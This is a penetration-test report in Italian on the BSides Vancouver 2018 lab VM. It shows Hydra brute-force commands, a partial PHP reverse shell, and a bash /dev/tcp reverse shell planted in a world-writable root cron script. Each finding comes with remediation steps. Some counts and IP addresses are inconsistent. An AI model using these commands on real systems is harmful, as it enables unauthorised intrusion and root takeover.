Black Box Pentest
Epicode - Valutazione delle vulnerabilità Penetration Test

Giuseppe Gigliotti - gius199874@gmail.com

31 ottobre 2025

Indice

Riassunto Esecutivo:

Questo report documenta i risultati di un Vulnerability Assessment e Penetration Test (VA/PT) completo condotto sulla macchina virtuale BSides Vancouver 2018. La valutazione ha identificato molteplici vulnerabilità critiche che hanno permesso il completo compromesso del sistema e l'accesso con privilegi di root attraverso due percorsi di attacco indipendenti.

Scopo del test:

Sono stati aggiunti i seguenti target:

- 192.168.50.10

In sintesi le vulnerabilità:

Tabelle delle vulnerabilità:

Nomi delle vulnerabilità	**Fattore di rischio**	Σ
Attacco Brute Force SSH	Critico	9.8
Configurazione Errata Privilegi Sudo	Critico	9.8
Credenziali Deboli WordPress	Critico	9.8
Cron Job Root Scrivibile	Critico	9.8
Sistema Obsoleto con Exploit Kernel Noti	Critico	7.8
Editor Temi WordPress Abilitato	Alto	8.1
Accesso FTP Anonimo	Alto	7.5
File Configurazione WordPress Esposto	Alto	7.5
Enumerazione Utenti WordPress	Medio	5.3
————————————	————————	————
Totale delle Vulnerabilita sfruttate		9

Metodologia

Il penetration test ha seguito un approccio strutturato allineato con gli standard di settore:

1. Raccolta Informazioni

- Scoperta della rete e port scanning
- Enumerazione servizi e rilevamento versioni
- Fingerprinting applicazione web

2. Analisi Vulnerabilità

- Scansione automatizzata vulnerabilità (Nessus)
- Valutazione manuale della sicurezza
- Revisione configurazione
- Test applicazione web

3. Exploitation

- Brute forcing credenziali
- Exploitation applicazione web
- Tecniche di privilege escalation

4. Post-Exploitation

- Enumerazione sistema
- Privilege escalation
- Raccolta evidenze
- Documentazione

Accesso FTP Anonimo con Informazioni Sensibili

Descrizione:

Il servizio FTP (acronimo di File Transfer Protocol) sulla porta 21 permette il login anonimo senza autenticazione. La directory pubblica contiene un file `users.txt.bk` che elenca username di sistema validi.

Svolgimento:

Dettagli Tecnici:

```
# Connessione
ftp 192.168.50.3
Name: anonymous
```

```
Password: [vuoto]

# File recuperato
ftp> get users.txt.bk
```

Contenuto File:

```
abatchy
john
mai
anne
doomguy
```

Risoluzione:

1. Disabilitare l'accesso FTP anonimo se non richiesto
2. Se l'accesso anonimo è necessario, assicurarsi che nessun file sensibile sia accessibile
3. Implementare controlli di accesso appropriati sulle directory FTP
4. Revisionare e rimuovere file di backup non necessari

Successo Attacco Brute Force SSH

Descrizione:

Il servizio SSH sulla porta 22 è vulnerabile ad attacchi brute force. Utilizzando gli username ottenuti da FTP e una wordlist di password comuni, sono state scoperte credenziali valide.

Svolgimento:

Dettagli tecnici:

```
# Attacco brute force
hydra -l anne -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt
↪  ssh://192.168.50.3

# Risultato
[22][ssh] host: 192.168.50.3 login: anne password: princess
```

Credenziali Valide Trovate:

- Username: `anne`
- Password: `princess`

Risoluzione:

1. Implementare policy password forti (minimo 12 caratteri, requisiti di complessità)
2. Abilitare solo autenticazione basata su chiavi SSH
3. Disabilitare autenticazione password nella configurazione SSH
4. Implementare fail2ban o protezione simile contro brute force

5. Abilitare autenticazione multi-fattore (MFA)
6. Restringere accesso SSH a specifici indirizzi IP/reti se possibile

Configurazione Errata Privilegi Sudo

Descrizione:

L'utente `anne` ha privilegi sudo illimitati, permettendo l'esecuzione di qualsiasi comando come root senza giustificazione appropriata.

Svolgimento:

Dettagli Tecnici:

```
anne@bsides2018:~$ sudo -l
User anne may run the following commands on this host:
    (ALL : ALL) ALL

anne@bsides2018:~$ sudo su
root@bsides2018:/home/anne# whoami
root
```

Risoluzione:

1. Rimuovere privilegi sudo non necessari
2. Applicare il principio del minimo privilegio
3. Limitare accesso sudo solo a comandi specifici
4. Richiedere password per operazioni sudo
5. Implementare logging e monitoraggio sudo
6. Utilizzare struttura directory sudoers.d per migliore gestione

Enumerazione Utenti WordPress

Descrizione:

L'installazione WordPress su `/backup_wordpress/` rivela messaggi di errore diversi per username validi e non validi, permettendo agli attaccanti di enumerare account validi.

Svolgimento:

Dettagli Tecnici:

Username non valido:

```
Username: anne
Risposta: "ERROR: Invalid username. Lost your password?"
```

Username valido:

```
Username: john
Risposta: "ERROR: The password you entered for the username john is incorrect."
```

Risoluzione:

1. Restituire messaggi di errore generici sia per username che password non validi
2. Implementare rate limiting sui tentativi di login
3. Considerare l'uso di un plugin di sicurezza (es. Wordfence, iThemes Security)
4. Disabilitare enumerazione utenti WordPress via REST API
5. Implementare CAPTCHA sui form di login

Credenziali Deboli WordPress

Descrizione:

L'account admin WordPress utilizza una password debole e facilmente indovinabile che è stata compromessa tramite attacco brute force.

Exploitation:

```
hydra -l john -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt \
  192.168.50.3 http-post-form \
  '/backup_wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you
  ↪  entered f'

# Risultato
[80][http-post-form] host: 192.168.50.3
                     login: john
                     password: enigma
```

Credenziali Compromesse:

- Username: `john`
- Password: `enigma`

Risoluzione:

1. Imporre requisiti password forti
2. Implementare requisiti di complessità password
3. Abilitare autenticazione a due fattori (2FA)
4. Limitare tentativi di login con meccanismo di lockout

Editor Temi WordPress Abilitato

Descrizione

L'Editor Temi WordPress è abilitato e accessibile agli utenti autenticati, permettendo la modifica diretta del codice PHP e l'esecuzione di codice arbitrario.

Svolgimento:

Payload Reverse Shell PHP:

```php
<?php
set_time_limit(0);
$ip = '192.168.50.100';
$port = 9001;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh',
    array(array('pipe','r'),array('pipe','w'),array('pipe','w')),
    $pipes);
// [troncato per brevità]
?>
```

Risultato:

```
# Macchina attaccante
nc -lvnp 9001
connect to [192.168.50.100] from [192.168.50.10]
$ whoami
www-data
```

Risoluzione:

1. Disabilitare editor temi/plugin in wp-config.php:

   ```php
   define('DISALLOW_FILE_EDIT', true);
   ```

2. Restringere accesso admin WordPress per indirizzo IP
3. Implementare Web Application Firewall (WAF)
4. Mantenere aggiornati WordPress core, temi e plugin
5. Utilizzare plugin di hardening della sicurezza

Risorse utilizzate:

(Codice della reverse shell utilizzata)[https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php]

Cron Job Root Scrivibile - Privilege Escalation

Descrizione:

Il file `/usr/local/bin/cleanup` viene eseguito da root ogni minuto tramite cron, ma ha permessi world-writable (777). Questo permette a qualsiasi utente di modificare lo script ed eseguire comandi arbitrari come root.

Svolgimento:

Dettagli Tecnici:

Configurazione Cron:

```
# /etc/crontab
*  *  * * *  root  /usr/local/bin/cleanup
```

Permessi File:

```
-rwxrwxrwx 1 root root 67 Oct 29 13:43 /usr/local/bin/cleanup
```

Exploitation:

```
# Come utente www-data
echo '#!/bin/bash' > /usr/local/bin/cleanup
echo 'bash -c "bash -i >& /dev/tcp/192.168.50.100/4444 0>&1"' >> /usr/local/bin/cleanup

# Attendere esecuzione cron (massimo 60 secondi)
```

Risultato:

```
# L'attaccante riceve shell root
nc -lvnp 4444
root@bsides2018:~# whoami
root
root@bsides2018:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Risoluzione:

1. Cambiare permessi file:

   ```
   chmod 700 /usr/local/bin/cleanup
   chown root:root /usr/local/bin/cleanup
   ```

2. Revisionare e restringere permessi di scrittura a livello di sistema
3. Applicare principio del minimo privilegio

File Configurazione WordPress Esposto

Descrizione:

Il file di configurazione WordPress `wp-config.php` contiene credenziali del database in chiaro.

Svolgimento:

Credenziali Trovate:

```
define('DB_NAME', 'wp');
define('DB_USER', 'john@localhost');
define('DB_PASSWORD', 'thiscannotbeit');
define('DB_HOST', 'localhost');
```

Risoluzione:

1. Assicurarsi che wp-config.php abbia permessi appropriati (440 o 400)
2. Memorizzare credenziali in variabili d'ambiente
3. Usare password diverse per servizi diversi
4. Implementare controlli di accesso al database
5. Rotazione credenziali regolare

Sistema Obsoleto con Exploit Kernel Noti

Descizione:

Il sistema esegue un kernel obsoleto (3.11.0-15-generic) con molteplici vulnerabilità note di privilege escalation.

Svolgimento:

Informazioni Sistema:

```
uname -a
Linux bsides2018 3.11.0-15-generic #25~precise1-Ubuntu SMP
Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

lsb_release -a
Ubuntu 12.04.4 LTS
```

Vulnerabilità Note:

- CVE-2016-5195 (DirtyCow) - Altamente probabile
- CVE-2021-4034 (PwnKit) - Probabile
- CVE-2015-3202 (FUSE) - Probabile
- CVE-2014-4014 (inode_capable) - Probabile

Risoluzione:

1. **URGENTE:** Aggiornare kernel all'ultima versione stabile
2. Applicare tutte le patch di sicurezza
3. Aggiornare Ubuntu a versione supportata (12.04 è EOL)

Risorse utilizzate:

- CVE-2016-5195 - DirtyCow
- CVE-2021-4034 - PwnKit

- CVE-2015-1328 - Overlayfs

Conclusioni:

Il penetration test ha dimostrato con successo il completo compromesso del sistema target attraverso molteplici vettori di attacco. La valutazione ha identificato **10 vulnerabilità significative**, di cui **5 classificate come Severità Critica**.

Documentazione:

Lascio nella documentazione la scansione nessus e la scansione nmap:

- Report scansione Nessus
- Scansione completa Nmap